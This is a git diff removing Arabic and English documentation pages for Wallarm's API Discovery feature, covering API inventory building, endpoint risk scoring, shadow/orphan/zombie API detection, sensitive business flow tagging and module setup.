هذه حدد **إنشاء قاعدة**. سيتم عرض نافذة إنشاء القاعدة. يتم تحليل عنوان نقطة النهاية إلى النافذة تلقائيًا. -1. في نافذة إنشاء القاعدة، حدد معلومات القاعدة ثم ان \ No newline at end of file diff --git a/docs/latest-ar/api-discovery/overview.md b/docs/latest-ar/api-discovery/overview.md deleted file mode 100644 index 385c4f3a16..0000000000 --- a/docs/latest-ar/api-discovery/overview.md +++ /dev/null @@ -1,95 +0,0 @@ -# نظرة عامة حول اكتشاف واجهة برمجة التطبيقات - -يقوم وحدة **اكتشاف واجهة برمجة التطبيقات** في منصة Wallarm ببناء جرد واجهات برمجة تطبيقات REST التطبيقية استنادًا إلى الاستخدام الفعلي لواجهة برمجة التطبيقات. تقوم الوحدة بتحليل الطلبات الفعلية للحركة وبناء جرد واجهة برمجة التطبيقات استنادًا إلى نتائج التحليل. - -يتضمن جرد واجهة برمجة التطبيقات التي تم بناؤها العناصر التالية: - -* نقاط نهاية واجهة برمجة التطبيقات -* طرق الطلب (GET، POST، وغيرها) -* المعلمات المطلوبة والاختيارية لـ GET، POST، والمعلمات الرأسية بما في ذلك: - * [نوع/تنسيق](./exploring.md#format-and-data-type) البيانات المرسلة في كل معلمة - * تاريخ ووقت آخر تحديث لمعلومات المعلمة - -![نقاط النهاية التي اكتشفها اكتشاف واجهة برمجة التطبيقات](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -## المشكلات التي يتناولها اكتشاف واجهة برمجة التطبيقات - -**بناء جرد واجهة برمجة التطبيقات الفعلي والكامل** هي المشكلة الرئيسية التي تعالجها وحدة اكتشاف واجهة برمجة التطبيقات. - -يعد الحفاظ على تحديث جرد واجهة برمجة التطبيقات مهمة صعبة. هناك فرق متعددة تستخدم واجهات برمجة تطبيقات مختلفة، ومن الشائع أن يتم استخدام أدوات وعمليات مختلفة لإنتاج وثائق واجهة برمجة التطبيقات. نتيجة لذلك، تواجه الشركات صعوبات في فهم ما هي واجهات برمجة التطبيقات التي لديها، وما البيانات التي تعرضها، وامتلاك وثائق واجهة برمجة التطبيقات محدثة. - -نظرًا لأن وحدة اكتشاف واجهة برمجة التطبيقات تستخدم الحركة الفعلية كمصدر للبيانات، فإنها تساعد في الحصول على وثائق واجهة برمجة التطبيقات محدثة وكاملة عن طريق تضمين جميع نقاط النهاية التي تعالج الطلبات فعليًا في جرد واجهة برمجة التطبيقات. - -**عندما يتم اكتشاف جرد واجهة برمجة التطبيقات الخاص بك بواسطة Wallarm، يمكنك**: - -* الحصول على رؤية كاملة لكامل ملكية واجهة برمجة التطبيقات بما في ذلك قائمة [واجهات برمجة التطبيقات الخارجية والداخلية](exploring.md#distinguish-external-and-internal-apis). -* رؤية البيانات التي تدخل [إلى واجهات برمجة التطبيقات](exploring.md#viewing-endpoint-parameters). -* الحصول على قائمة نقاط النهاية ذات الثغرات الأمنية المفتوحة. -* الحصول على قائمة بالتهديدات التي حدثت خلال الأيام الـ7 الماضية لأي نقطة نهاية واجهة برمجة التطبيقات معينة. -* تصفية فقط واجهات برمجة التطبيقات التي تعرضت للهجوم، وترتيبها حسب عدد الضربات. -* تصفية واجهات برمجة التطبيقات التي تستهلك وتحمل [بيانات حساسة](#sensitive-data-detection). -* مشاهدة ملخص مرئي عن بنية جرد واجهة برمجة التطبيقات الخاص بك والمشكلات على لوحة معلومات [مفيدة](dashboard.md). -* فهم أي نقاط النهاية [من المحتمل](risk-score.md) أن تكون هدفًا لهجوم. -* العثور على [واجهات برمجة تطبيقات الظل واليتامى والزومبي](rogue-api.md). -* [تتبع التغييرات](track-changes.md) في واجهة برمجة التطبيقات التي حدثت خلال الفترة الزمنية المحددة. -* فلترة نقاط نهاية واجهة برمجة التطبيقات حسب حالة الحماية الذاتية لـ [BOLA](bola-protection.md). -* تزويد مطوريك [بالوصول](../user-guides/settings/users.md#user-roles) لمراجعة جرد واجهة برمجة التطبيقات الذي تم بناؤه وتنزيله. - -## كيف يعمل اكتشاف واجهة برمجة التطبيقات؟ - -يعتمد اكتشاف واجهة برمجة التطبيقات على إحصائيات الطلبات ويستخدم خوارزميات متطورة لتوليد مواصفات واجهة برمجة التطبيقات المحدثة استنادًا إلى الاستخدام الفعلي لواجهة برمجة التطبيقات. - -### معالجة الحركة - -يستخدم اكتشاف واجهة برمجة التطبيقات نهجًا مختلطًا لإجراء التحليل محليًا وفي السحاب. يمكّن هذا النهج من عملية [أولوية للخصوصية](#security-of-data-uploaded-to-the-wallarm-cloud) حيث يتم الاحتفاظ ببيانات الطلب والبيانات الحساسة محليًا مع استخدام قوة السحاب لتحليل الإحصائيات: - -1. يقوم اكتشاف واجهة برمجة التطبيقات بتحليل الحركة المشروعة محليًا. تحلل Wallarm نقاط النهاية التي يتم إرسال الطلبات إليها والمعلمات التي يتم تمريرها. -1. وفقًا لهذه البيانات، يتم إعداد الإحصائيات وإرسالها إلى السحاب. -1. تقوم سحابة Wallarm بتجميع الإحصائيات المستلمة وبناء [وصف واجهة برمجة التطبيقات](exploring.md) على أساسها. - - !!! info "كشف الضوضاء" - يتم [تحديد الطلبات النادرة أو الفردية على أنها ضوضاء](#noise-detection) ولا تتضمن في جرد واجهة برمجة التطبيقات. - -### كشف الضوضاء - -يعتمد اكتشاف واجهة برمجة التطبيقات كشف الضوضاء على معيارين أساسيين للحركة: - -* استقرار نقطة النهاية - يجب تسجيل ما لا يقل عن 5 طلبات خلال 5 دقائق من لحظة الطلب الأول إلى النهاية. -* استقرار المعلمة - يجب أن تكون نسبة حدوث المعلمة في الطلبات إلى النهاية أكثر من 1 بالمئة. - -سيعرض جرد واجهة برمجة التطبيقات النهايات والمعلمات التي تجاوزت هذه الحدود. الوقت المطلوب لبناء جرد واجهة برمجة التطبيقات الكامل يعتمد على تنوع الحركة وشدتها. - -كما يقوم اكتشاف واجهة برمجة التطبيقات بتصفية الطلبات بناءً على معايير أخرى: - -* يتم معالجة الطلبات التي استجاب لها الخادم في نطاق 2xx فقط. -* لا يتم معالجة الطلبات التي لا تتوافق مع مبادئ تصميم واجهة برمجة التطبيقات REST. يتم ذلك عن طريق التحكم في معلمة رأس الاستجابة `Content-Type`: إذا لم تتضمن معلمة `Content-Type` `application` كنوع و`json` كنوع فرعي، يعتبر مثل هذا الطلب غير REST API ويتم تصفيته. مثال على استجابة واجهة برمجة التطبيقات REST: `Content-Type: application/json;charset=utf-8`. إذا لم تكن المعلمة موجودة، يقوم اكتشاف واجهة برمجة التطبيقات بتحليل الطلب. -* يتم تجاهل الحقول القياسية مثل `Accept` وما شابه. - -### كشف البيانات الحساسة - -يكتشف ويبرز اكتشاف واجهة برمجة التطبيقات البيانات الحساسة المستهلكة والمنقولة بواسطة واجهات برمجة التطبيقات الخاصة بك: - -* البيانات التقنية مثل عناوين IP وMAC -* بيانات تسجيل الدخول مثل المفاتيح السرية وكلمات المرور -* البيانات المالية مثل أرقام بطاقات البنك -* البيانات الطبية مثل رقم الترخيص الطبي -* المعلومات الشخصية التعريفية (PII) مثل الاسم الكامل، رقم الجواز أو الرقم الوطني - -### أمان البيانات المُحمّلة إلى سحابة Wallarm - -يقوم اكتشاف واجهة برمجة التطبيقات بتحليل معظم الحركة محليًا. ترسل الوحدة إلى سحابة Wallarm نقاط النهاية المكتشفة فقط، وأسماء المعلمات والبيانات الإحصائية المختلفة (وقت الوصول، عددها، إلخ.) يتم نقل جميع البيانات عبر قناة آمنة: قبل تحميل الإحصائيات إلى سحابة Wallarm، يقوم وحدة اكتشاف واجهة برمجة التطبيقات بتجزئة قيم معلمات الطلب باستخدام خوارزمية [SHA-256](https://en.wikipedia.org/wiki/SHA-2). - -من جانب السحاب، يتم استخدام البيانات المُجزأة للتحليل الإحصائي (على سبيل المثال، عند تقييم الطلبات ذات المعلمات المتطابقة). - -لا يتم تجزئة البيانات الأخرى (قيم نقاط النهاية، طرق الطلب، وأسماء المعلمات) قبل تحميلها إلى سحابة Wallarm، لأن البيانات المُجزأة لا يمكن استعادتها إلى حالتها الأصلية مما سيجعل بناء جرد واجهة برمجة التطبيقات مستحيلًا. - -!!! warning "مهم" - Wallarm لا ترسل قيم المعلمات المحددة إلى السحاب. يتم إرسال نقطة النهاية، وأسماء المعلمات والإحصائيات عنها فقط. - -## فيديو توضيحي حول اكتشاف واجهة برمجة التطبيقات - -شاهد فيديو توضيحي حول اكتشاف واجهة برمجة التطبيقات: - -
      - -
      \ No newline at end of file diff --git a/docs/latest-ar/api-discovery/risk-score.md b/docs/latest-ar/api-discovery/risk-score.md deleted file mode 100644 index d5754cfa50..0000000000 --- a/docs/latest-ar/api-discovery/risk-score.md +++ /dev/null @@ -1,55 +0,0 @@ -# درجة خطورة نقطة النهاية - -تقوم [اكتشاف الـAPI](overview.md) بحساب **درجة الخطورة** تلقائيًا لكل نقطة نهاية في جرد الـAPI الخاص بك. تتيح لك درجة الخطورة فهم أي نقاط النهاية الأكثر عرضة لأن تكون هدفًا للهجوم وبالتالي يجب أن تكون في محور جهود الأمان الخاصة بك. - -## عوامل درجة الخطورة - -تتكون درجة الخطورة من عوامل متعددة، يكون لكل منها وزنه الخاص عند حساب درجة الخطورة النهائية. بشكل افتراضي، يُستخدم أعلى وزن من بين جميع العوامل كدرجة خطورة لنقطة النهاية. - -| العامل | الوصف | الوزن الافتراضي | -| --- | --- | --- | -| الثغرات الأمنية النشطة | قد تتسبب [الثغرات الأمنية النشطة](../about-wallarm/detecting-vulnerabilities.md) في الوصول غير المصرح به إلى البيانات أو تلفها. | 9 | -| المحتملة الضعف لـ BOLA | وجود [أجزاء متغيرة في المسار](exploring.md#variability-in-endpoints)، مثل معرفات المستخدم، مثلاً `/api/articles/author/{parameter_X}`. يمكن للمهاجمين التلاعب بمعرفات الكائن و، في حالة عدم كفاية التوثيق للطلب، إما قراءة أو تعديل بيانات الكائن الحساسة ([هجمات BOLA](../admin-en/configuration-guides/protecting-against-bola.md)). | 6 | -| المعلمات ذات البيانات الحساسة | بدلاً من مهاجمة الـAPIs مباشرةً، يمكن للمهاجمين سرقة [البيانات الحساسة](overview.md#sensitive-data-detection) واستخدامها للوصول بسلاسة إلى مواردك. | 8 | -| عدد معلمات الاستعلام والجسم | يزيد وجود عدد كبير من المعلمات من عدد اتجاهات الهجوم. | 6 | -| يقبل كائنات XML / JSON | قد يستخدم المهاجمون الكائنات الممرَرة في طلبات XML أو JSON لنقل كيانات XML الخارجية الخبيثة والحقن إلى الخادم. | 6 | -| يسمح بتحميل ملفات إلى الخادم | تُستهدف نقاط النهاية بشكل متكرر من خلال هجمات [تنفيذ الكود عن بعد (RCE)](../attacks-vulns-list.md#remote-code-execution-rce)، حيث يتم تحميل ملفات تحتوي على كود خبيث إلى الخادم. لتأمين هذه النقاط، يجب التحقق بشكل صحيح من امتدادات الملفات المُحمّلة ومحتوياتها كما يُوصى به في [ورقة الغش OWASP](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html). | 6 | - -لتكييف تقدير درجة الخطورة مع فهمك لأهمية العوامل، يمكنك [ضبط](#customizing-risk-score-calculation) وزن كل عامل في حساب درجة الخطورة وطريقة الحساب. - -## مستويات درجة الخطورة - -قد تكون درجة الخطورة من `1` (الأدنى) إلى `10` (الأعلى): - -| القيمة | مستوى الخطورة | اللون | -| --------- | ----------- | --------- | -| من 1 إلى 3 | منخفض | رمادي | -| من 4 إلى 7 | متوسط | برتقالي | -| من 8 إلى 10 | مرتفع | أحمر | - -* `1` تعني عدم وجود عوامل خطورة لهذه النقطة. -* لا تُعرض درجة الخطورة (`غير متاح`) لنقاط النهاية غير المستخدمة. -* الترتيب حسب درجة الخطورة في عمود **الخطورة**. -* تصفية بـ `مرتفع`، `متوسط` أو `منخفض` باستخدام فلتر **درجة الخطورة**. - -لفهم ما أدى إلى درجة الخطورة لنقطة النهاية وكيفية التقليل من الخطورة، انتقل إلى تفاصيل نقطة النهاية: - -![اكتشاف الـAPI - إعدادات درجة الخطورة](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -يمكنك أيضًا الحصول على ملخص حول الـAPIs حسب مستويات درجة الخطورة في **لوحات التحكم** → **اكتشاف الـAPI** في سحابة [الولايات المتحدة](https://us1.my.wallarm.com/dashboard-api-discovery) أو [الاتحاد الأوروبي](https://my.wallarm.com/dashboard-api-discovery). - -## تخصيص حساب درجة الخطورة - -يمكنك ضبط وزن كل عامل في حساب درجة الخطورة وطريقة الحساب. - -لتغيير كيفية حساب درجة الخطورة: - -1. انقر فوق زر **ضبط اكتشاف الـAPI** في قسم **اكتشاف الـAPI**. -1. انتقل إلى علامة التبويب **تقدير الخطورة**. -1. اختر طريقة الحساب: أعلى وزن أو المتوسط. -1. إذا لزم الأمر، قم بتعطيل العوامل التي لا تريد أن تؤثر في درجة الخطورة. -1. ضبط أوزان العوامل المتبقية. - - ![اكتشاف الـAPI - إعداد درجة الخطورة](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score-setup.png) - -1. حفظ التغييرات. ستعيد Wallarm حساب درجة الخطورة لنقاط النهاية الخاصة بك وفقًا للإعدادات الجديدة خلال بضع دقائق. \ No newline at end of file diff --git a/docs/latest-ar/api-discovery/rogue-api.md b/docs/latest-ar/api-discovery/rogue-api.md deleted file mode 100644 index 52e8060a00..0000000000 --- a/docs/latest-ar/api-discovery/rogue-api.md +++ /dev/null @@ -1,161 +0,0 @@ -# الواجهة البرمجية المظلية، اليتيمة، الزومبي - -تحدد وحدة [اكتشاف الواجهة البرمجية](overview.md) تلقائيا الواجهات البرمجية الظلية، اليتيمة والزومبية من خلال مقارنة مواصفاتك المُرسلة مع حركة المرور الحية. - -|نوع الواجهة البرمجية المارقة | ما هي؟ | -|--|--| -| [الواجهة البرمجية المظلية](#shadow-api) | واجهة برمجية غير مُدونة توجد ضمن بنية المنظمة بدون الترخيص أو الإشراف الصحيح| -| [الواجهة البرمجية اليتيمة](#orphan-api) | واجهة برمجية مُدونة لا تتلقى حركة مرور. | -| [الواجهة البرمجية الزومبي](#zombie-api) | الواجهات البرمجية التي تم التخلي عنها والتي يعتقد الجميع أنها تم تعطيلها ولكنها تستخدم في الواقع. | - -![API Discovery - highlighting and filtering rogue API](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -## راقب الواجهات البرمجية المارقة كل ساعة - -يمكنك تحميل مواصفاتك لتنفيذ مقارنة فورية لمحتواها مع النقاط النهائية التي تم كشفها بواسطة اكتشاف الواجهة البرمجية حتى اللحظة. ولكن يمكن أن تتغير شيئين مع مرور الزمن: - -* فهرس الواجهة البرمجية الفعلي الخاص بك (سيتم كشف التغييرات بواسطة اكتشاف الواجهة البرمجية) -* مواصفاتك الخاصة (يمكن أن تصل نسخ جديدة) - -لذا ، لإعداد الرصد المستمر للواجهات البرمجية المارقة ، لديك خيار المقارنة **كل ساعة**. لاستخدام الخيار ، يجب تحميل المواصفات من URL. ستتم تحديث المواصفات نفسها قبل كل مقارنة. - -لإعداد الرصد للواجهات البرمجية المارقة كل ساعة: - -1. انتقل إلى قسم **مواصفات الواجهة البرمجية** في [الغيمة الأمريكية](https://us1.my.wallarm.com/api-specifications) أو [الغيمة الأوروبية](https://my.wallarm.com/api-specifications). -1. انقر على **تحميل المواصفات**. -1. حدد مواصفات لتحميلها. يجب أن تكون بتنسيق OpenAPI 3.0 JSON أو YAML. -1. قم بتعيين معلمات المقارنة: - - * التطبيقات والمضيفين - سيتم فقط مقارنة النقاط النهائية الخاصة بالتطبيقات / المضيفين المحددين. إذا قمت باختيار **المقارنة مع جميع التطبيقات والمضيفين المكتشفين الحاليين والمستقبليين** ، ستتضمن جميع المضيفين (للتطبيقات المحددة) المعروفين الآن وجميع المضيفين الذين سيتم اكتشافهم في المستقبل في المقارنة. - - يمكنك تغيير إعدادات المقارنة في أي لحظة في وقت لاحق - بعد ذلك ستتم المقارنة مرة أخرى بتقديم نتائج جديدة. - - * اختر التحميل من URL. إذا لزم الأمر ، يمكنك تحديد رمز للمصادقة. - * اترك خيار **تنفيذ المقارنة بانتظام** المحدد (وهو هكذا بشكل افتراضي). - - ![API Discovery - API Specifications - uploading API specification to find rogue APIs](../images/about-wallarm-waf/api-discovery/api-discovery-specification-upload.png) - -1. ابدأ التحميل. - -عند الانتهاء من التحميل ، سيتم عرض عدد الواجهات البرمجية المارقة (الظلية ، اليتيمة والزومبي) لكل مواصفة في قائمة **مواصفات الواجهة البرمجية**. - -![API Specifications section](../images/about-wallarm-waf/api-discovery/api-discovery-specifications.png) - -سيتم أيضًا عرض الواجهات البرمجية المارقة في قسم **اكتشاف الواجهة البرمجية**. استخدم مرشح **الواجهات البرمجية المارقة** لرؤية الواجهات البرمجية المظلية و / أو اليتيمة و / أو الزومبي فقط المتعلقة بالمقارنات المحددة وتصفية النقاط النهائية المتبقية. - -![API Discovery - highlighting and filtering rogue API](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -في تفاصيل هذه النقاط النهائية ، في قسم **التعارضات المواصفات** ، سيتم الإشارة إلى المواصفات التي تم بمساعدتها كشف الواجهة المظلية / الزومبي / اليتيمة. - -تتم أيضًا عرض الواجهات البرمجية المظلية بين النقاط النهائية الأكثر خطورة في [لوحة اكتشاف الواجهة البرمجية](dashboard.md). - -## العثور على الواجهات البرمجية المارقة من خلال المقارنة مرة واحدة - -يمكنك تحميل مواصفاتك لإجراء مقارنة فورية مرة واحدة لمحتواها مع النقاط النهائية التي تم كشفها بواسطة اكتشاف الواجهة البرمجية حتى اللحظة. للقيام بذلك ، في إعدادات المقارنة ، حدد للتحميل من الجهاز المحلي أو قم بإلغاء تحديد خيار **تنفيذ المقارنة بانتظام** للمواصفات المُرسلة من URL. - -ضع في اعتبارك الآتي: - -* يمكنك إعادة بدء المقارنة في أي وقت عبر قائمة المواصفات → **إعادة بدء المقارنة**. -* بإمكانك تنزيل المواصفات التي تم تحميلها سابقًا عبر **مواصفات الواجهة البرمجية** → نافذة تفاصيل المواصفات → **تنزيل المواصفات**. - -## الإصدارات المواصفات والواجهات البرمجية الزومبي - -بخلاف الواجهات البرمجية المظلية واليتيمة ، تتطلب الواجهات البرمجية الزومبية مقارنة الإصدارات المواصفات المختلفة: - -* في حالة [المقارنة التلقائية كل ساعة](#monitor-rogue-apis-on-hourly-basis) ، فقط ضع الإصدار الجديد في URL حيث تستضيف مواصفاتك - ستتم معالجتها حسب الجدول الزمني الساعي أو فورا إذا اخترت **إعادة بدء المقارنة** من قائمة المواصفات. -* في الحالة عندما لا يتم استخدام المقارنة العادية: - - * إذا كان التحميل من URL ، قم بتغيير هذا URL إلى واحد جديد أو وضع محتوى جديد على نفس URL. - * إذا كنت تقوم بالتحميل من الجهاز المحلي ، افتح مربع حوار المواصفات في واجهة المستخدم لـ Wallarm ، ثم قم بتحميل ملف جديد أو نفس الملف بمحتوى جديد. - - ثم احفظ المواصفات ، ومن قائمتها ، اختر **إعادة بدء المقارنة**. - -## العمل مع مواصفات متعددة - -في حالة استخدامك عدة مواصفات منفصلة لوصف جوانب مختلفة من الواجهة البرمجية الخاصة بك ، يمكنك تحميل عدة مواصفات أو جميعها إلى Wallarm. - -في قسم **اكتشاف الواجهة البرمجية** ، استخدم مرشح **المقارنة مع...** لتحديد مقارنات المواصفات - فقط لهم ستتم تمييز الواجهات البرمجية المارقة بواسطة العلامات الخاصة في العمود **القضايا**. - -![API Discovery - highlighting and filtering rogue API](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -## الحصول على الإخطارات - -للحصول على إشعارات فورية حول الواجهات البرمجية المارقة التي تم اكتشافها حديثًا في [SIEM, SOAR, نظام إدارة السجلات أو المراسل](../user-guides/settings/integrations/integrations-intro.md) الخاص بك ، في قسم **المشغلات** من واجهة Wallarm ، قم بتكوين أحد المشغلات أو أكثر منها بشرط **تم اكتشاف واجهة برمجية مارقة**. - -يمكنك الحصول على رسائل حول الواجهات البرمجية المظلية أو اليتيمة أو الزومبي المكتشفة حديثًا أو حول كل منها. يمكنك أيضا تضييق الإشعارات بواسطة التطبيق أو المضيف الذي ترغب في مراقبته وحسب المواصفات المستخدمة لاكتشافها. - -**كيف تأتي الإشعارات** - -* كل واجهة برمجية مارقة جديدة تكتشف تسبب 1 رسالة إخطار -* إذا كنت قد حصلت بالفعل على إشعار حول بعض الواجهات البرمجية المارقة ، فلا يتم إرسالها مرة أخرى ، مهما كان عدد مرات تشغيل المقارنة -* إذا قمت بتحديث إعدادات المواصفات المرسلة ، ستتم إعادة إرسال الإشعارات حول جميع الواجهات البرمجية **اليتيمة** (لا ينطبق هذا على الواجهات البرمجية الظلية أو الزومبي) - -**مثال على مشغل: إشعار حول النقاط النهائية المظلية المكتشفة حديثًا في Slack** - -في هذا المثال ، إذا وجدت وحدة اكتشاف الواجهة البرمجية نقاط نهاية جديدة غير مدرجة في `Specification-01` (الواجهات البرمجية المظلية) ، يتم إرسال الإشعار حول هذا إلى قناة Slack المكونة. - -![Rogue API detected trigger](../images/user-guides/triggers/trigger-example-rogue-api.png) - -**لاختبار المشغل:** - -1. اذهب إلى واجهة المستخدم لـ Wallarm → **التكاملات** في [الغيمة الأمريكية](https://us1.my.wallarm.com/integrations/) أو [الغيمة الأوروبية](https://my.wallarm.com/integrations/) ، وقم بتكوين [التكامل مع Slack](../user-guides/settings/integrations/slack.md). -1. في قسم **اكتشاف الواجهة البرمجية** ، قم بتصفية النقاط النهائية بواسطة مضيف الواجهة البرمجية الخاص بك ، ثم قم بتنزيل النتائج كمواصفات واسمها `Specification-01`. -1. في قسم **مواصفات الواجهة البرمجية** ، قم بتحميل `Specification-01` للمقارنة. -1. في قسم **المشغلات** ، قم بإنشاء مشغل كما هو موضح أعلاه. -1. قم بحذف بعض النقاط النهائية من ملف `Specification-01` المحلي. -1. في **مواصفات الواجهة البرمجية** ، قم بإعادة تحميل `Specification-01` الخاص بك للمقارنة. -1. تحقق من علامة الواجهة البرمجية المظلية في العمود **القضايا**. -1. تحقق من الرسائل في قناة Slack الخاصة بك مثل: - - ``` - [wallarm] تم اكتشاف نقطة نهاية ظلية جديدة في الواجهة البرمجية الخاصة بك - - نوع الإشعار: نتيجة مقارنة الواجهة البرمجية - - تم اكتشاف نقطة النهاية الظلية الجديدة GET example.com/users في الواجهة البرمجية الخاصة بك. - - العميل: Client-01 - الغيمة: الأمريكية - - التفاصيل: - - التطبيق: Application-01 - مضيف الواجهة البرمجية: example.com - المسار النهائي: /users - طريقة http: GET - نوع النقطة النهائية: ظلية - الرابط: https://my.wallarm.com/api-discovery?instance=1802&method=GET&q=example.com%2Fusers - اسم المواصفات: Specification-01 - ``` - -## أنواع الواجهات البرمجية المارقة والمخاطر - -### الواجهة البرمجية المظلية - -تشير **الواجهة البرمجية المظلية** إلى الواجهة البرمجية غير المُدونة التي توجد ضمن بنية المنظمة بدون الترخيص أو الإشراف الصحيح. - -تعرض الواجهات البرمجية المظلية الأعمال للخطر، حيث يمكن للمهاجمين استغلالها للوصول إلى الأنظمة الحيوية، أو سرقة البيانات القيمة، أو تعطيل العمليات، مع تعقيد مزيد من حقيقة أن الواجهات البرمجية غالبًا ما تعمل كحُماة للبيانات الحساسة وأنه يمكن استغلال مجموعة من ثغرات OWASP API لتجاوز أمن الواجهة البرمجية. - -من حيث المواصفات البرمجية الخاصة بك التي تم [تحميلها](#upload-specifications-and-set-comparison-parameters) ، الواجهة البرمجية الظلية هي النقطة النهائية المُقدمة في حركة المرور الفعلية (التي اكتشفتها وحدة اكتشاف الواجهة البرمجية) وليست مُقدمة في مواصفاتك. - -عندما تجد الواجهات البرمجية المظلية مع Wallarm ، يمكنك تحديث المواصفات لتتضمن النقاط النهائية المفقودة ومن ثم تنفيذ أنشطة الرصد والأمان نحو فهرس الواجهة البرمجية في صورته الكاملة. - -### الواجهة البرمجية اليتيمة - -تشير **الواجهة البرمجية اليتيمة** إلى الواجهة البرمجية المُدونة التي لا تتلقى حركة مرور. - -وجود الواجهات البرمجية اليتيمة يمكن أن يكون سببًا لعملية التحقق التي تتضمن: - -* فحص إعدادات التحقق من حركة المرور لـ Wallarm لفهم ما إذا كانت الحركة لا تتلقى حقًا ، أو إذا كانت ببساطة غير مرئية لوحدات Wallarm لأنه تم نشرها بطريقة لا تمر جميع حركة المرور من خلالها (قد يكون هذا التوجيه غير الصحيح لحركة المرور ، أو أنه يتم تقديم بوابة ويب أخرى ونسيت وضع الوحدة عليها ، وهلم جرا). -* تحديد ما إذا كان ينبغي لبعض التطبيقات عدم تلقي أي حركة مرور على هذه النقاط النهائية المحددة أم أنه نوع من سوء التهيئة. -* اتخاذ قرار حول النقاط النهائية القديمة: المستخدمة في الإصدارات السابقة للتطبيق وليست مستخدمة في الحالي - هل يجب حذفها من المواصفات لتقليل جهد التحقق من الأمان. - -### الواجهة البرمجية الزومبي - -تشير **الواجهة البرمجية الزومبي** إلى الواجهات البرمجية التي تم التخلي عنها والتي يعتقد الجميع أنها تم تعطيلها ولكنها تستخدم في الواقع. - -مخاطر الواجهة البرمجية الزومبي مشابهة لبقية الواجهة البرمجية غير المُدونة (الظلية) ولكن قد تكون أسوأ حيث أن السبب في التعطيل غالبًا ما يكون التصميمات غير الآمنة التي يسهل اختراقها. - -من حيث المواصفات البرمجية الخاصة بك التي تم [تحميلها](#upload-specifications-and-set-comparison-parameters) ، الواجهة البرمجية الزومبي هي النقطة النهائية المُقدمة في الإصدار السابق من مواصفاتك ، غير المُقدمة في الإصدار الحالي (أي أنه كان هناك نية حذف هذه النقطة النهائية) ولكنها لا تزال مُقدمة في حركة المرور الفعلية (التي اكتشفتها وحدة اكتشاف الواجهة البرمجية). - -العثور على الواجهة البرمجية الزومبي مع Wallarm قد يكون السبب في إعادة التحقق من برمجة الواجهة البرمجية للتطبيقات لتعطيل مثل هذه النقاط النهائية في الواقع. diff --git a/docs/latest-ar/api-discovery/sbf.md b/docs/latest-ar/api-discovery/sbf.md deleted file mode 100644 index 7fea9d1801..0000000000 --- a/docs/latest-ar/api-discovery/sbf.md +++ /dev/null @@ -1,40 +0,0 @@ -# Sensitive Business Flows - -With the sensitive business flow capability, Wallarm's [API Discovery](overview.md) can automatically identify endpoints that are critical to specific business flows and functions, such as authentication, account management, billing, and similar critical capabilities. Learn from this article how to use the sensitive business flow functionality. - -## Addressed issues - -The abuse of the sensitive business flows ranks sixth ([API6](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)) among OWASP API Top 10 risks. Protecting these sensitive business flows ensures business continuity, prevents leaking of sensitive data, reputation risks, and financial damage. - -WIth the sensitive business flows capability, Wallarm highlights health of the business-critical functions and helps to: - -* Regularly monitor and audit endpoints related to sensitive business flows for vulnerabilities or breaches. -* Prioritize them for development, maintenance, and security efforts. -* Implement stronger security measures (e.g., encryption, authentication, access controls, and rate limits). -* Easily produce audit trails and evidence of data protection measures. - -## Automatic tagging - -For your convenience, API Discovery tags endpoints as belonging to sensitive business flows automatically - on discovering a new endpoint, it checks whether this endpoint potentially belongs to one or more sensitive business flows: - ---8<-- "../include/default-sbf.md" - -Automatic checks are conducted using keywords from the endpoint URL. For example, keywords like `payment`, `subscription`, or `purchase` automatically associate the endpoint with the **Billing** flow, while keywords such as `auth`, `token`, or `login` link it to the **Authentication** flow. If matches are detected, the endpoint is automatically assigned to the appropriate flow. - -The automatic tagging discovers most of the sensitive business flows. However, it is also possible to manually adjust the list of assigned business flows as described in the section below. - -## Tagging endpoints manually - -To adjust the results of [automatic tagging](#automatic-tagging), you can manually edit the list of sensitive business flow the endpoint belongs to. You can also manually tag endpoints that do not directly fall under the keyword list. - -To edit the list of flows the endpoint belongs to, in Wallarm Console, go to API Discovery, then for your endpoint, in the **Business flow & sensitive data**, select one or several flows from the list. - -![API Discovery - Sensitive business flows](../images/about-wallarm-waf/api-discovery/api-discovery-sbf.png) - -You can do the same in the endpoint details. - -## Filtering by business flow - -Once endpoints are assigned with the sensitive business flow tags, it becomes possible to filter all discovered endpoint by a specific business flow (the **Business flow** filter) which makes it easier on protecting the most critical business capabilities. - -![API Discovery - Filtering by sensitive business flows](../images/about-wallarm-waf/api-discovery/api-discovery-sbf-filter.png) diff --git a/docs/latest-ar/api-discovery/setup.md b/docs/latest-ar/api-discovery/setup.md deleted file mode 100644 index 813194ef57..0000000000 --- a/docs/latest-ar/api-discovery/setup.md +++ /dev/null @@ -1,78 +0,0 @@ -# إعداد استكشاف واجهة البرمجة التطبيقية - -تصف هذه المقالة كيفية تمكين وتكوين وتشخيص موديول [استكشاف واجهة البرمجة التطبيقية](overview.md). - -## التمكين - -يشتمل استكشاف واجهة البرمجة التطبيقية في كل [أشكال](../installation/supported-deployment-options.md) تثبيت عقدة Wallarm، باستثناء الحزم الفردية لـ Debian 11.x وUbuntu 22.04. خلال توظيف العقدة، يتم تثبيت موديول استكشاف واجهة البرمجة التطبيقية ولكن يبقى معطلاً بشكل افتراضي. - -لتمكين وتشغيل استكشاف واجهة البرمجة التطبيقية بشكل صحيح: - -1. إذا قمت بتثبيت العقدة من الحزم الفردية، تأكد من أن عقدتك Wallarm من [الإصدار المدعوم](../updating-migrating/versioning-policy.md#version-list). - - للتأكد من الوصول دائمًا إلى النطاق الكامل لميزات استكشاف واجهة البرمجة التطبيقية، يوصى بالتحقق من التحديثات لحزمة `wallarm-appstructure` بشكل دوري على النحو التالي: - - - === "Debian Linux" - ```bash - sudo apt update - sudo apt install wallarm-appstructure - ``` - === "RedHat Linux" - ```bash - sudo yum update - sudo yum install wallarm-appstructure - ``` -1. تأكد من أن [خطة الاشتراك](../about-wallarm/subscription-plans.md#subscription-plans) تشتمل على **استكشاف واجهة البرمجة التطبيقية**. لتغيير خطة الاشتراك، يرجى إرسال طلب إلى 